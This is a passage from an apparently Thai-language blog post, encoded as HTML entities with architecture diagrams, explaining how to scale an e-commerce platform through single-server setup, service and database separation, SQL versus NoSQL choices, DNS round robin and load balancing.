720px"></figure><p>&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE04;&#xE27;&#xE32;&#xE21;&#xE40;&#xE02;&#xE49;&#xE32;&#xE43;&#xE08;&#xE1B;&#xE31;&#xE0D;&#xE2B;&#xE32;&#xE04;&#xE27;&#xE32;&#xE21;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23; &#xE41;&#xE25;&#xE30;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE02;&#xE2D;&#xE1A;&#xE40;&#xE02;&#xE15;&#xE40;&#xE0A;&#xE48;&#xE19;&#xE19;&#xE35;&#xE49; &#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE23;&#xE32;&#xE21;&#xE35;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE0A;&#xE31;&#xE14;&#xE40;&#xE08;&#xE19;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE2D;&#xE01;&#xE41;&#xE1A;&#xE1A; E-commerce Platform &#xE42;&#xE14;&#xE22;&#xE04;&#xE23;&#xE2D;&#xE1A;&#xE04;&#xE25;&#xE38;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE2B;&#xE25;&#xE31;&#xE01; &#xE02;&#xE19;&#xE32;&#xE14;&#xE02;&#xE2D;&#xE07;&#xE23;&#xE30;&#xE1A;&#xE1A; &#xE41;&#xE25;&#xE30;&#xE04;&#xE27;&#xE32;&#xE21;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE14;&#xE49;&#xE32;&#xE19;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;</p><h2 id="from-zero-to-millions-of-users-a-guide-to-scaling-an-e-commerce-platform">From Zero to Millions of Users : A Guide to Scaling an E-commerce Platform</h2><p>&#xE01;&#xE32;&#xE23;&#xE2D;&#xE2D;&#xE01;&#xE41;&#xE1A;&#xE1A;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE1B;&#xE47;&#xE19; Product &#xE17;&#xE35;&#xE48;&#xE23;&#xE2D;&#xE07;&#xE23;&#xE31;&#xE1A;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE21;&#xE32;&#xE01;&#xE01;&#xE27;&#xE48;&#xE32;&#xE25;&#xE49;&#xE32;&#xE19;&#xE04;&#xE19;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE40;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE17;&#xE35;&#xE48;&#xE17;&#xE49;&#xE32;&#xE17;&#xE32;&#xE22; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE31;&#xE1A;&#xE1B;&#xE23;&#xE38;&#xE07;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE40;&#xE19;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE34;&#xE49;&#xE19;&#xE2A;&#xE38;&#xE14; &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49; Product &#xE21;&#xE35;&#xE0A;&#xE35;&#xE27;&#xE34;&#xE15; &#xE42;&#xE14;&#xE22;&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE14;&#xE49;&#xE27;&#xE22;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE17;&#xE35;&#xE48;&#xE23;&#xE2D;&#xE07;&#xE23;&#xE31;&#xE1A;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE04;&#xE19;&#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE44;&#xE1B;&#xE08;&#xE19;&#xE16;&#xE36;&#xE07;&#xE01;&#xE32;&#xE23;&#xE02;&#xE22;&#xE32;&#xE22;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE43;&#xE2B;&#xE49;&#xE23;&#xE2D;&#xE07;&#xE23;&#xE31;&#xE1A;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE21;&#xE32;&#xE01;&#xE01;&#xE27;&#xE48;&#xE32; 1 &#xE25;&#xE49;&#xE32;&#xE19;&#xE04;&#xE19;</p><p><strong><em>Single Server Setup</em></strong><br>&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&#xE07;&#xE48;&#xE32;&#xE22;&#xE02;&#xE2D;&#xE07;&#xE23;&#xE30;&#xE1A;&#xE1A; &#xE17;&#xE38;&#xE01; &#xE46; &#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE08;&#xE30;&#xE23;&#xE31;&#xE19;&#xE1A;&#xE19; Server &#xE40;&#xE1E;&#xE35;&#xE22;&#xE07;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE40;&#xE14;&#xE35;&#xE22;&#xE27; &#xE17;&#xE31;&#xE49;&#xE07; Web App, Database &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE44;&#xE1F;&#xE25;&#xE4C;</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/diagram-8.png" class="kg-image" alt loading="lazy" width="916" height="1379" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/diagram-8.png 600w, https://blog.pjjop.org/content/images/2024/07/diagram-8.png 916w" sizes="(min-width: 720px) 720px"></figure><p>&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE08;&#xE30;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07; Website &#xE1C;&#xE48;&#xE32;&#xE19; Domain Name &#xE0B;&#xE36;&#xE48;&#xE07;&#xE42;&#xE14;&#xE22;&#xE1B;&#xE01;&#xE15;&#xE34; Domain Name System &#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE43;&#xE2B;&#xE49;&#xE1A;&#xE23;&#xE34;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE20;&#xE32;&#xE22;&#xE19;&#xE2D;&#xE01; Server &#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32; IP Address &#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE2A;&#xE48;&#xE07;&#xE21;&#xE32;&#xE17;&#xE35;&#xE48; Web Browser &#xE2B;&#xE23;&#xE37;&#xE2D; Mobile App &#xE2B;&#xE25;&#xE31;&#xE07;&#xE08;&#xE32;&#xE01;&#xE19;&#xE31;&#xE49;&#xE19; HTTP Request &#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE2A;&#xE48;&#xE07;&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; Web Server &#xE42;&#xE14;&#xE22;&#xE15;&#xE23;&#xE07;</p><p>Server &#xE08;&#xE30; Return HTML Page &#xE2B;&#xE23;&#xE37;&#xE2D; JavaScript Object Notation (JSON) Response &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23; Render &#xE1A;&#xE19; Browser</p><p>&#xE08;&#xE32;&#xE01;&#xE20;&#xE32;&#xE1E;&#xE14;&#xE49;&#xE32;&#xE19;&#xE1A;&#xE19;&#xE08;&#xE30;&#xE40;&#xE2B;&#xE47;&#xE19;&#xE27;&#xE48;&#xE32; Traffic &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE21;&#xE32;&#xE22;&#xE31;&#xE07; Web Server &#xE44;&#xE14;&#xE49;&#xE08;&#xE32;&#xE01; 2 &#xE41;&#xE2B;&#xE25;&#xE48;&#xE07; &#xE04;&#xE37;&#xE2D; Web Application &#xE41;&#xE25;&#xE30; Mobile Application &#xE42;&#xE14;&#xE22; Web Application &#xE08;&#xE30;&#xE1B;&#xE23;&#xE30;&#xE01;&#xE2D;&#xE1A;&#xE44;&#xE1B;&#xE14;&#xE49;&#xE27;&#xE22; Server-site Language &#xE40;&#xE0A;&#xE48;&#xE19; Java, Python, Golang &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23; Business Logic &#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; &#xE41;&#xE25;&#xE30; Client-site Language &#xE40;&#xE0A;&#xE48;&#xE19; HTML &#xE41;&#xE25;&#xE30; JavaScript &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE07;&#xE32;&#xE19; Presentation</p><p>&#xE02;&#xE13;&#xE30;&#xE17;&#xE35;&#xE48; Mobile Application &#xE08;&#xE30;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE32;&#xE23;&#xE01;&#xE31;&#xE19;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07; Mobile App &#xE41;&#xE25;&#xE30; Web Server &#xE1C;&#xE48;&#xE32;&#xE19; API &#xE42;&#xE14;&#xE22;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE48;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE01;&#xE25;&#xE31;&#xE1A;&#xE08;&#xE32;&#xE01; API &#xE43;&#xE19;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A; JSON &#xE40;&#xE1B;&#xE47;&#xE19;&#xE2B;&#xE25;&#xE31;&#xE01;</p><p><strong><em>Spit Services and Database</em></strong><br>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE35;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE02;&#xE36;&#xE49;&#xE19; Server &#xE40;&#xE1E;&#xE35;&#xE22;&#xE07;&#xE15;&#xE31;&#xE27;&#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE08;&#xE30;&#xE44;&#xE21;&#xE48;&#xE40;&#xE1E;&#xE35;&#xE22;&#xE07;&#xE1E;&#xE2D;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE43;&#xE2B;&#xE49;&#xE1A;&#xE23;&#xE34;&#xE01;&#xE32;&#xE23; &#xE40;&#xE23;&#xE32;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23; Server &#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; Web/Mobile Traffic, Database &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE44;&#xE1F;&#xE25;&#xE4C; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE01;&#xE32;&#xE23;&#xE41;&#xE1A;&#xE48;&#xE07;&#xE2D;&#xE07;&#xE04;&#xE4C;&#xE1B;&#xE23;&#xE30;&#xE01;&#xE2D;&#xE1A;&#xE40;&#xE0A;&#xE48;&#xE19;&#xE19;&#xE35;&#xE49;&#xE08;&#xE30;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE02;&#xE22;&#xE32;&#xE22;&#xE02;&#xE19;&#xE32;&#xE14;&#xE43;&#xE19;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE44;&#xE14;&#xE49;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE2D;&#xE34;&#xE2A;&#xE23;&#xE30;</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/diagram-9.png" class="kg-image" alt loading="lazy" width="918" height="1286" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/diagram-9.png 600w, https://blog.pjjop.org/content/images/2024/07/diagram-9.png 918w" sizes="(min-width: 720px) 720px"></figure><p>&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE44;&#xE14;&#xE49;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07; &#xA0;SQL (Structured Query Language) Database &#xE41;&#xE25;&#xE30; NoSQL (Not Only SQL) Database</p><p>SQL Database &#xE04;&#xE37;&#xE2D; Relational Database &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49; Structured Query Languag (SQL) &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE34;&#xE22;&#xE32;&#xE21;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; (Schema) &#xE41;&#xE25;&#xE30;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE31;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE08;&#xE31;&#xE14;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE43;&#xE19;&#xE23;&#xE39;&#xE1B; Table &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE31;&#xE21;&#xE1E;&#xE31;&#xE19;&#xE18;&#xE4C;&#xE01;&#xE31;&#xE19; &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23; Join &#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE15;&#xE48;&#xE32;&#xE07; Table &#xE01;&#xE31;&#xE19;&#xE44;&#xE14;&#xE49;</p><p>SQL Database &#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE2D;&#xE35;&#xE01;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;&#xE27;&#xE48;&#xE32; Relational Database Management System (RDBMS) &#xE0B;&#xE36;&#xE48;&#xE07; RDBMS &#xE17;&#xE35;&#xE48;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE17;&#xE35;&#xE48;&#xE19;&#xE34;&#xE22;&#xE21;&#xE43;&#xE19;&#xE1B;&#xE31;&#xE08;&#xE08;&#xE38;&#xE1A;&#xE31;&#xE19; &#xE40;&#xE0A;&#xE48;&#xE19; MySQL, PostgreSQL, Oracle, Microsoft SQL Server</p><p>&#xE02;&#xE13;&#xE30;&#xE17;&#xE35;&#xE48; &#xA0;NoSQL Database &#xE04;&#xE37;&#xE2D; Non-relational Database &#xE17;&#xE35;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE31;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE44;&#xE14;&#xE49;&#xE2B;&#xE25;&#xE32;&#xE01;&#xE2B;&#xE25;&#xE32;&#xE22; &#xE40;&#xE0A;&#xE48;&#xE19; &#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE41;&#xE1A;&#xE1A; Document, Key-value, Wide-column &#xE41;&#xE25;&#xE30; Graph &#xE17;&#xE35;&#xE48;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23; Schema &#xE17;&#xE35;&#xE48;&#xE04;&#xE07;&#xE17;&#xE35;&#xE48;&#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE01;&#xE31;&#xE1A; SQL Database &#xE17;&#xE4D;&#xE32;&#xE43;&#xE2B;&#xE49;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE27;&#xE25;&#xE32;&#xE1C;&#xE48;&#xE32;&#xE19;&#xE44;&#xE1B;&#xE44;&#xE14;&#xE49;</p><p>NoSQL Database &#xE17;&#xE35;&#xE48;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE17;&#xE35;&#xE48;&#xE19;&#xE34;&#xE22;&#xE21;&#xE43;&#xE19;&#xE1B;&#xE31;&#xE08;&#xE08;&#xE38;&#xE1A;&#xE31;&#xE19; &#xE40;&#xE0A;&#xE48;&#xE19; MongoDB (Document), Redis (Key-Value), Cassandra (Wide-Column), Neo4j (Graph) &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE23;&#xE32;&#xE44;&#xE21;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23; Join &#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE44;&#xE14;&#xE49;&#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE01;&#xE31;&#xE1A; SQL Database</p><p>&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE19;&#xE31;&#xE01;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE43;&#xE2B;&#xE0D;&#xE48; SQL Database &#xE40;&#xE1B;&#xE47;&#xE19;&#xE15;&#xE31;&#xE27;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE17;&#xE35;&#xE48;&#xE14;&#xE35;&#xE40;&#xE19;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE08;&#xE32;&#xE01;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE1A;&#xE19; Production &#xE21;&#xE32;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE22;&#xE32;&#xE27;&#xE19;&#xE32;&#xE19; &#xE41;&#xE25;&#xE30;&#xE44;&#xE14;&#xE49;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE34;&#xE2A;&#xE39;&#xE08;&#xE19;&#xE4C;&#xE27;&#xE48;&#xE32;&#xE21;&#xE31;&#xE19;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE44;&#xE14;&#xE49;&#xE14;&#xE35; &#xE42;&#xE14;&#xE22;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE0F;&#xE34;&#xE1A;&#xE31;&#xE15;&#xE34;&#xE15;&#xE32;&#xE21; ACID &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE23;&#xE31;&#xE1A;&#xE23;&#xE2D;&#xE07;&#xE18;&#xE38;&#xE23;&#xE01;&#xE23;&#xE23;&#xE21;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE16;&#xE37;&#xE2D;&#xE44;&#xE14;&#xE49; (Atomicity, Consistency, Isolation, Durability) &#xE40;&#xE0A;&#xE48;&#xE19;&#xE43;&#xE19;&#xE23;&#xE30;&#xE1A;&#xE1A; Banking</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/diagram-2.png" class="kg-image" alt loading="lazy" width="1107" height="1156" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/diagram-2.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/07/diagram-2.png 1000w, https://blog.pjjop.org/content/images/2024/07/diagram-2.png 1107w" sizes="(min-width: 720px) 720px"></figure><p>&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE44;&#xE23;&#xE01;&#xE47;&#xE15;&#xE32;&#xE21; &#xE2B;&#xE32;&#xE01; Application &#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23; Latency &#xE15;&#xE48;&#xE33; &#xE40;&#xE0A;&#xE48;&#xE19; &#xE23;&#xE30;&#xE1A;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE0B;&#xE37;&#xE49;&#xE2D;&#xE02;&#xE32;&#xE22;&#xE2B;&#xE38;&#xE49;&#xE19; &#xE23;&#xE30;&#xE1A;&#xE1A;&#xE40;&#xE01;&#xE21;&#xE2D;&#xE2D;&#xE19;&#xE44;&#xE25;&#xE19;&#xE4C; &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE04;&#xE27;&#xE1A;&#xE04;&#xE38;&#xE21;&#xE17;&#xE32;&#xE07;&#xE2D;&#xE38;&#xE15;&#xE2A;&#xE32;&#xE2B;&#xE01;&#xE23;&#xE23;&#xE21; &#xE41;&#xE25;&#xE30;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE31;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A;&#xE2B;&#xE25;&#xE32;&#xE01;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE21;&#xE32;&#xE01; &#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE44;&#xE14;&#xE49;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE27;&#xE25;&#xE32;&#xE1C;&#xE48;&#xE32;&#xE19;&#xE44;&#xE1B; NoSQL Database &#xE2D;&#xE32;&#xE08;&#xE08;&#xE30;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE15;&#xE31;&#xE27;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE17;&#xE35;&#xE48;&#xE14;&#xE35; &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE1A;&#xE32;&#xE07;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE01;&#xE47;&#xE2D;&#xE32;&#xE08;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE17;&#xE31;&#xE49;&#xE07; SQL Database &#xE41;&#xE25;&#xE30; NoSQL Database</p><p><strong><em>Split Services into clusters</em></strong><br>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE18;&#xE38;&#xE23;&#xE01;&#xE34;&#xE08;&#xE22;&#xE31;&#xE07;&#xE04;&#xE07;&#xE40;&#xE15;&#xE34;&#xE1A;&#xE42;&#xE15;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE40;&#xE19;&#xE37;&#xE48;&#xE2D;&#xE07; Application Server &#xE40;&#xE1E;&#xE35;&#xE22;&#xE07;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE08;&#xE30;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE2B;&#xE19;&#xE31;&#xE01;&#xE40;&#xE01;&#xE34;&#xE19;&#xE44;&#xE1B; &#xE14;&#xE31;&#xE07;&#xE19;&#xE31;&#xE49;&#xE19;&#xE40;&#xE23;&#xE32;&#xE08;&#xE36;&#xE07;&#xE43;&#xE0A;&#xE49;&#xE01;&#xE25;&#xE38;&#xE48;&#xE21; Application Server &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE01;&#xE23;&#xE30;&#xE08;&#xE32;&#xE22; Request &#xE17;&#xE35;&#xE48;&#xE40;&#xE02;&#xE49;&#xE32;&#xE21;&#xE32; &#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; Application Server &#xE42;&#xE14;&#xE22;&#xE40;&#xE1A;&#xE37;&#xE49;&#xE2D;&#xE07;&#xE15;&#xE49;&#xE19;&#xE2D;&#xE32;&#xE08;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE17;&#xE04;&#xE19;&#xE34;&#xE04; Round Robin &#xE02;&#xE2D;&#xE07; DNS &#xE01;&#xE47;&#xE44;&#xE14;&#xE49;</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/diagram-10.png" class="kg-image" alt loading="lazy" width="949" height="1501" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/diagram-10.png 600w, https://blog.pjjop.org/content/images/2024/07/diagram-10.png 949w" sizes="(min-width: 720px) 720px"></figure><p><strong><em>Add load balancer</em></strong><br>&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE44;&#xE23;&#xE01;&#xE47;&#xE15;&#xE32;&#xE21; &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; DNS &#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE01;&#xE23;&#xE30;&#xE08;&#xE32;&#xE22; Request &#xE2D;&#xE32;&#xE08;&#xE44;&#xE21;&#xE48;&#xE43;&#xE0A;&#xE48;&#xE27;&#xE34;&#xE18;&#xE35;&#xE17;&#xE35;&#xE48;&#xE14;&#xE35;&#xE19;&#xE31;&#xE01; &#xE40;&#xE19;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE08;&#xE32;&#xE01;&#xE21;&#xE31;&#xE19;&#xE44;&#xE21;&#xE48;&#xE44;&#xE14;&#xE49;&#xE16;&#xE39;&#xE01;&#xE2D;&#xE2D;&#xE01;&#xE41;&#xE1A;&#xE1A;&#xE21;&#xE32;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE01;&#xE23;&#xE30;&#xE08;&#xE32;&#xE22;&#xE20;&#xE32;&#xE23;&#xE30;&#xE07;&#xE32;&#xE19;&#xE42;&#xE14;&#xE22;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19; Load balancer</p><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE27;&#xE32;&#xE07; Load balancer &#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07; Web Browser/Mobile App &#xE41;&#xE25;&#xE30; Application Server &#xE42;&#xE14;&#xE22; Load balancer &#xE08;&#xE30;&#xE01;&#xE23;&#xE30;&#xE08;&#xE32;&#xE22;&#xE42;&#xE2B;&#xE25;&#xE14;&#xE08;&#xE32;&#xE01; Client &#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; Application Server &#xE2B;&#xE25;&#xE32;&#xE22; &#xE46; &#xE15;&#xE31;&#xE27;</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/diagram-11.png" class="kg-image" alt loading="lazy" width="949" height="1501" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/diagram-11.png 600w, https://blog.pjjop.org/content/images/2024/07/diagram-11.png 949w" sizes="(min-width: 720px) 